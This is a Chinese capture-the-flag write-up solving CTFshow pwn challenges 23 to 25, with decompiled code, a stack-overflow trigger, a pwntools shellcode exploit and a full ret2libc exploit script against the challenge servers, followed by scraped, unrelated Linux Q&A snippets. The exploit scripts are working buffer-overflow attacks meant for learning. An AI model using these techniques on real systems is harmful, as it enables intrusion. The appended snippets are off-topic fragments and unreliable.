CTFshow-pwn入门-前置基础pwn23-pwn25

2023-11-15

pwn23-25的题目会涉及到ret2shellcode、ret2libc等内容,本篇文章只会侧重研究这几道题目的wp,不会过多涉及到ret2shellcode、ret2libc的基本原理,等有时间再来写关于ret2libc、ret2shellcode…的相关内容。大家可以参考CTFwiki的文章去慢慢学习。

CTFwiki:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc

pwn23

在这里插入图片描述
首先我们还是将pwn文件下载下来拖入虚拟机加上可执行权限,然后使用checksec命令查看文件的信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的,直接拉进ida反编译。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // eax
  int v5; // [esp-Ch] [ebp-2Ch]
  int v6; // [esp-8h] [ebp-28h]
  int v7; // [esp-4h] [ebp-24h]
  FILE *stream; // [esp+4h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  v3 = getegid();
  setresgid(v3, v3, v3, v5, v6, v7, v3);
  puts(asc_8048940);
  puts(asc_80489B4);
  puts(asc_8048A30);
  puts(asc_8048ABC);
  puts(asc_8048B4C);
  puts(asc_8048BD0);
  puts(asc_8048C64);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : No canary found                                         ");
  puts("    * *************************************                           ");
  puts("How to input ?");
  if ( argc > 1 )
    ctfshow((char *)argv[1]);
  return 0;
}
//ctfshow
char *__cdecl ctfshow(char *src)
{
  char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF

  return strcpy(dest, src);
}

代码的大致逻辑就是先本地读取/ctfshow_flag文件,然后打印一段信息,判断我们输入的参数是否大于1,如果大于1进入ctfshow()函数并且将我们输入的第一个参数作为ctfshow函数的参数,ctfshow函数接收一个src参数将其值赋给dest。这就大概的代码逻辑。那我们如何拿到flag呢?

我们首先要知道ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的!并且src就是我们输入的参数,使我们可控的,并且他没有被限制长度,代表我们可以利用溢出漏洞!

我们先使用ssh连接服务器。
在这里插入图片描述
我们进来之后,也就是直接给了我们shell,但是我们被限制不能读取/ctfshow_flag文件,所以我们还得依靠pwn文件来读取,这个pwnme就是我们下载的pwn文件。

我们的思路是溢出,那么我们载运行该文件是输入参数是我们就要尽可能的输入更多的字符串以让程序发生溢出。
在这里插入图片描述
可以看到,我输入了许多的a字符,致使程序溢出,然后程序就为我们输出了flag!

pwn24

在这里插入图片描述
我们首先是下载pwn文件,然后给它加上可执行权限,使用checksec命令查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的直接拖进ida反编译。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  puts(asc_80486E0);
  puts(asc_8048754);
  puts(asc_80487D0);
  puts(asc_804885C);
  puts(asc_80488EC);
  puts(asc_8048970);
  puts(asc_8048A04);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : NX disabled & Has RWX segments                          ");
  puts("    * *************************************                           ");
  ctfshow(&argc);
  return 0;
}

可能是我ida的问题,这里ctfshow()函数,反编译不出来,所以只能看汇编代码凑合了。

0x080484c6 <+0>:	push   ebp
   0x080484c7 <+1>:	mov    ebp,esp
   0x080484c9 <+3>:	push   ebx
   0x080484ca <+4>:	sub    esp,0x84
   0x080484d0 <+10>:	call   0x8048400 <__x86.get_pc_thunk.bx>
   0x080484d5 <+15>:	add    ebx,0x1b2b
   0x080484db <+21>:	sub    esp,0x4
   0x080484de <+24>:	push   0x100
   0x080484e3 <+29>:	lea    eax,[ebp-0x88]
   0x080484e9 <+35>:	push   eax
   0x080484ea <+36>:	push   0x0
   0x080484ec <+38>:	call   0x8048360 <read@plt>
   0x080484f1 <+43>:	add    esp,0x10
   0x080484f4 <+46>:	sub    esp,0xc
   0x080484f7 <+49>:	lea    eax,[ebp-0x88]
   0x080484fd <+55>:	push   eax
   0x080484fe <+56>:	call   0x8048370 <puts@plt>
   0x08048503 <+61>:	add    esp,0x10
   0x08048506 <+64>:	lea    eax,[ebp-0x88]
   0x0804850c <+70>:	call   eax
   0x0804850e <+72>:	nop
   0x0804850f <+73>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08048512 <+76>:	leave  
   0x08048513 <+77>:	ret 

在这里插入图片描述
分析知道,pwn文件的NX是关掉的,代表栈可执行。

而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode!

并且,该题目也提示我们使用pwntools的shellcraft模块来进行攻击,这部赤裸裸的诱惑嘛!

开始编写exp:

from pwn import *

# 与目标服务器的pwn文件建立进程
p = remote("pwn.challenge.ctf.show", "28178") 

# 使用shellcraft模块生成shellcode
shell = asm(shellcraft.sh()) 
# 向远程发送数据(我们的shellcode)
p.sendline(shell)
# 建立交互式对话
p.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn25

在这里插入图片描述
直接说NX开启,让我们使用ret2libc,那我们就听他们的,用ret2libc吧!

首先将文件下载托到虚拟机加上可执行权限,然后使用checksec查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的,直接拖进ida反编译!

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  ctfshow(&argc);
  logo();
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}
// ctfshow
ssize_t ctfshow()
{
  char buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

大概的代码逻辑呢,就是先通过ctfshow()函数,读入我们输入的字符串,注意看大家,读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度。代表肯定会溢出,这个地方就是利用点。执行完ctfshow()就会输出一些其他无关紧要的东西了。

OK,既然要ret2libc,我们就ret2libc hhhhh!

我们首先看一下plt表中的函数:

objdump -d -j .plt pwn

在这里插入图片描述
我们看到plt表中含有puts函数跟write函数,那got表中也一定有他俩,那我们就使用puts函数来输出函数的内存地址吧!

exp如下:

# 导入相关的库
from pwn import *
from LibcSearcher import *

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show", "28121")
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts",puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print hex(libc_base)
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * 'a' + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
p.sendline(payload)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功拿到flag!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFshow-pwn入门-前置基础pwn23-pwn25 的相关文章

  • 如何不断刷新屏幕并实时更新[关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 我想在linux上写一个C程序 不断刷新屏幕并实时更新 例如类似于top终端中的命令 谁能指出我正确的方向 为了保持它跨终端类型的可移
  • 在Linux中断上下文中运行用户线程

    我正在编写一些定制的应用程序 并允许更改 Linux 内核中的中断处理程序代码 我有一个用户线程正在等待中断发生 如果发生中断 那么我要做的第一件事就是执行该用户线程 有什么办法让它发挥作用吗 Thanks 创建一个字符设备 这就是内核所做
  • linux x86 汇编语言 sys_read 调用的第一个参数应为 0 (stdin)

    我正在编写一个简单的汇编程序来从标准输入读取 如 scanf 这是我的代码 section bss num resb 5 section txt global start start mov eax 3 sys read mov ebx 0
  • 无需 cron 在后台发送邮件

    我想知道是否有一种方法可以运行 PHP 循环 以便在后台向订阅者发送几百封电子邮件 我的目标是格式化新闻通讯 单击发送 然后关闭浏览器或更改页面 当然 发送电子邮件的实际过程将在后台运行 不会因浏览器关闭而中断 我知道这可以通过 cron
  • 设置 Apache POI 的路径

    我想创建 Excel 文件并使用 java 程序在该文件中写入数据 That is here http www techbrainwave com p 554我在 java 文件所在的位置提取了 Apache POI 并将该路径包含在路径变
  • 让 MongoDB 在 Linux 上监听远程连接

    我已在 Windows 本地计算机上 上成功安装 MongoDB 作为服务 但现在我想将 MongoDb 移动到单独的服务器 所以我将 tarball 解压到网络上的虚拟服务器 运行 Linux 当我从本地计算机使用 PuTTY 连接到服务
  • 没有可用的符号表信息

    我正在测试第三方的库 它崩溃了 当我想查看崩溃的原因时 我的 gdb 告诉我没有可用的调试符号 Program received signal SIGSEGV Segmentation fault Switching to Thread 0
  • 在 Linux 上的 Python 中使用受密码保护的 Excel 工作表

    问题很简单 我每周都会收到一堆受密码保护的 Excel 文件 我必须解析它们并使用 Python 将某些部分写入新文件 我得到了文件的密码 当在 Windows 上完成此操作时 处理起来很简单 我只需导入 win32com 并使用 clie
  • PHP 致命错误:未找到“MongoClient”类

    我有一个使用 Apache 的网站 代码如下 当我尝试访问它时 我在 error log 中收到错误 PHP Fatal Error Class MongoClient not found 以下是可能错误的设置 但我认为没有错误 php i
  • .NET Core 中的跨平台文件名处理

    如何处理文件名System IO以跨平台方式运行类以使其在 Windows 和 Linux 上运行 例如 我编写的代码在 Windows 上完美运行 但它不会在 Ubuntu Linux 上创建文件 var tempFilename Dat
  • 如何更改 Ubuntu 14.04 上的 php-cli 版本?

    我是 Linux 新手 在篡改时破坏了一些 php 设置 如果我执行一个包含以下内容的 php 脚本 phpinfo 它显示 php 版本为 5 6 但通过命令行 如果我运行php v它返回 7 0 版本 我想让两个版本匹配 我怎样才能修复
  • 如何模拟ARM处理器运行环境并加载Linux内核模块?

    我尝试加载我的vmlinux into gdb并使用 ARM 内核模拟器 但我不明白为什么我会得到Undefined target command sim 这是外壳输出 arm eabi gdb vmlinux GNU gdb GDB 7
  • 在Linux上编译C# + WPF以便在Windows上运行

    我有一个 C 应用程序 其中某些部分是使用 WPF 编写的 Mono 不支持 可以在 Linux 上编译这个应用程序吗 最终 该应用程序将在 Windows 上运行 但它是更大框架的一部分 并且我们的整个构建过程在 Linux 上运行 因此
  • 拆分字符串以仅获取前 5 个字符

    我想去那个地点 var log src ap kernelmodule 10 001 100 但看起来我的代码必须处理 ap kernelmodule 10 002 100 ap kernelmodule 10 003 101 等 我想使用
  • 从 PL/SQL 调用 shell 脚本,但 shell 以 grid 用户而非 oracle 身份执行

    我正在尝试使用 Runtime getRuntime exec 从 Oracle 数据库内部执行 shell 脚本 在 Red Hat 5 5 上运行的 Oracle 11 2 0 4 EE CREATE OR REPLACE proced
  • 在 Linux 上更快地分叉大型进程?

    在现代 Linux 上达到与 Linux 相同效果的最快 最好的方法是什么 fork execve combo 从一个大的过程 我的问题是进程分叉大约 500MByte 大 并且一个简单的基准测试只能从进程中实现约 50 个分叉 秒 比较最
  • Linux 中的无缓冲 I/O

    我正在写入大量的数据 这些数据数周内都不会再次读取 由于我的程序运行 机器上的可用内存量 显示为 空闲 或 顶部 很快下降 我的内存量应用程序使用量不会增加 其他进程使用的内存量也不会增加 这让我相信内存正在被文件系统缓存消耗 因为我不打算
  • 如何使用 bash 锁定文件

    我有一个任务从远程服务器同步目录 rsync av email protected cdn cgi l email protection srv data srv data 为了使其定期运行并避免脚本 reEnter 问题 我使用 rsyn
  • 应用程序无缘无故地被杀死。怀疑 BSS 高。如何调试呢?

    我已经在CentOs6 6中成功运行我的应用程序 最近 硬件 主板和内存 更新了 我的应用程序现在毫无理由地被杀死 root localhost PktBlaster PktBlaster Killed 文件和 ldd 输出 root lo
  • 为什么 Linux perf 使用事件 l1d.replacement 来处理 x86 上的“L1 dcache misses”?

    在英特尔 x86 上 Linux用途 https stackoverflow com a 52172985 149138事件l1d replacements来实施其L1 dcache load misses event 该事件定义如下 计数

随机推荐

  • zabbix监控硬件

    一 通过snmp监控 1 idrac上开启snmp服务 2 然后到zabbix server服务器上测试一下是否能get到数据 snmpget v 2c c 1 3 6 1 4 1 674 10892 2 1 1 2 0 3 添加主机 二
  • rabbitmq的发布确认和事务

    2019独角兽企业重金招聘Python工程师标准 gt gt gt confirm的工作机制 Confirms是增加的一个确认机制的类 继承自标准的AMQP 这个类只包含了两个方法 confirm select和confirm select
  • 读取dgn文件思路

    1 opendgn 2 sourceforge里面有dgn读取内容 3 dgndirect 4 DGNLib 5 Teigha 6 lt
  • ERROR: cannot launch node of type [turtlebot_teleop/turtlebot_teleop_key] 问题解决

    当遇到问题 采取方式为 也就是说先用 rospack find 命令找是否存在 不存在就安装 sudo apt get install ros kinetic XXX 从网上查需要安装哪些内容 转载于 https www cnblogs c
  • 使用U盘为虚拟机安装系统

    转载自点击打开链接http www cnblogs com happy xiaoxiao p 8010547 html 前提 使用虚拟机安装WIN8系统时 由于WIN8镜像文件大于4G无法使用虚拟安装 所以使用U盘安装 1 装有U盘启动的W
  • 点云高度归一化处理(附 matlab 代码)

    由于不同地物之间存在着高程的差异 为了去除地形起伏对点云数据高程值的影响 所以需要根据提取出的地面点进行点云归一化处理 这一步是很多算法的基础 可以提高后续点云分类或分割的准确度等 如下图所示 归一化的过程其实相对简单 遍历每一个非地面点
  • Simon‘s writting 全网最全笔记

    石墨文档写完上传的 格式有点乱 凑合着看 排班不重要 内容最重要 一键三连的朋友可以私信我要word pdf 图片 markdown 那个看得舒服看哪个 An IELTS training course Understand the tas
  • Visual Studio下安装C/C++图形库(easyx)2022版

    一 Easyx下载链接 EasyX Graphics Library for C 二 Visual Studio上安装Easyx 1 右击EasyX 20220901 exe 选择管理员身份运行 2 点击下一步 3 它会自动检测 根据自己需
  • python3 新式邮件写法 附件乱码 解决

    import sys import re import mimetypes import base64 import traceback from pathlib import PurePath from datetime import d
  • 经过几年和前端调接口,我把抓包调试摸透了,浏览器岂非我对手

    场景 我们在和前端对接接口的时候 前端都是根据后端提供的接口api swagger地址或者yapi 其他接口管理平台进行接口联调 mock一些测试数据调试 调好了然后在本地和后端联调接口 没有问题后再发测试环境 测试环境再发预发布 预发布通
  • 打工族必看!省钱订餐攻略,经本人亲测多日!

    这不是广告哦 不像其他平台一样需要扫码关注等等 我的常用平台是不需要关注的 只要领取即可使用 我已经在这个平台点外卖很久了 几个月了 平常我会在这个平台领取优惠券 和同事一起拼单下单 每个人能省下三四块钱 有时候多的话可以省下七八块钱 这个
  • DevEco studio 一直加载gradle

    在使用DevEco studio 时一直处于提示gradle的问题 该现象和之前的Androoid Studio类似一直去网络中请求下载指定的gradle的版本 此时类比Android Studio先将gradle版本下载下来 然后放置在指
  • snort 源码分析之模式匹配引擎

    snort是一款著名的开源IPS 其主页地址 snort 官网 更详细的介绍网上很多 可自行搜索了解 本博客主要介绍snort 2 9 5版本的模式匹配引擎的加载和匹配 模式匹配引擎主要使用多模式匹配算法和单模式匹配算法 先由多模式匹配算法
  • Javaweb网站用户注册登录实现小记

    用户注册登录过程主要分为几个步骤 1 前端页面设计 2 数据访问模型包 3 Servlet容器数据接收处理 4 跳转至页面 下面分步骤小记一下 供以后参考 整个实现环境 Eclipse Version 2018 09 4 9 0 Eclip
  • 【满分】【华为OD机试真题2023B卷 JAVA&JS】叠积木

    华为OD2023 B卷 机试题库全覆盖 刷题指南点这里 叠积木 知识点哈希表 时间限制 1秒 内存限制 262144K 语言限制 不限 题目描述 有一堆长方体积木 它们的宽度和高度都相同 但长度不一 小橙想把这堆积木叠成一面墙 墙的每层可以
  • 1033 旧键盘打字 Python实现

    1033 旧键盘打字 20 20 分 旧键盘上坏了几个键 于是在敲一段文字的时候 对应的字符就不会出现 现在给出应该输入的一段文字 以及坏掉的那些键 打出的结果文字会是怎样 输入格式 输入在2行中分别给出坏掉的那些键 以及应该输入的文字 其
  • PC微信逆向:破解聊天记录文件!

    作者 newx 链接 https bbs pediy com thread 251303 htm 在电子取证过程中 也会遇到提取PC版微信数据的情况 看雪 52破解和CSDN等网上的PC版微信数据库破解文章实在是太简略了 大多数只有结果没有
  • MySQL中通过一条语句来统计符合不同条件的COUNT

    现在有两个表record 和 info 其中表record存放每次通话记录的主动呼出号码与被动呼入号码 表Info存放人名和对应号码 如下 现在的目的是统计每个人的手机号码主动呼出次数与被动呼入次数 就用到下列语句即可 SELECT nam
  • Openlayers 坐标系全面解析

    目录 EPSG 4326 EPSG 3857 EPSG 4326 与 EPSG 3857 的坐标转换 EPSG 4490 Openlayers 自定义坐标系 EPSG 4490 和 EPSG 4525 EPSG 4326 EPSG 3857
  • CTFshow-pwn入门-前置基础pwn23-pwn25

    pwn23 25的题目会涉及到ret2shellcode ret2libc等内容 本篇文章只会侧重研究这几道题目的wp 不会过多涉及到ret2shellcode ret2libc的基本原理 等有时间再来写关于ret2libc ret2she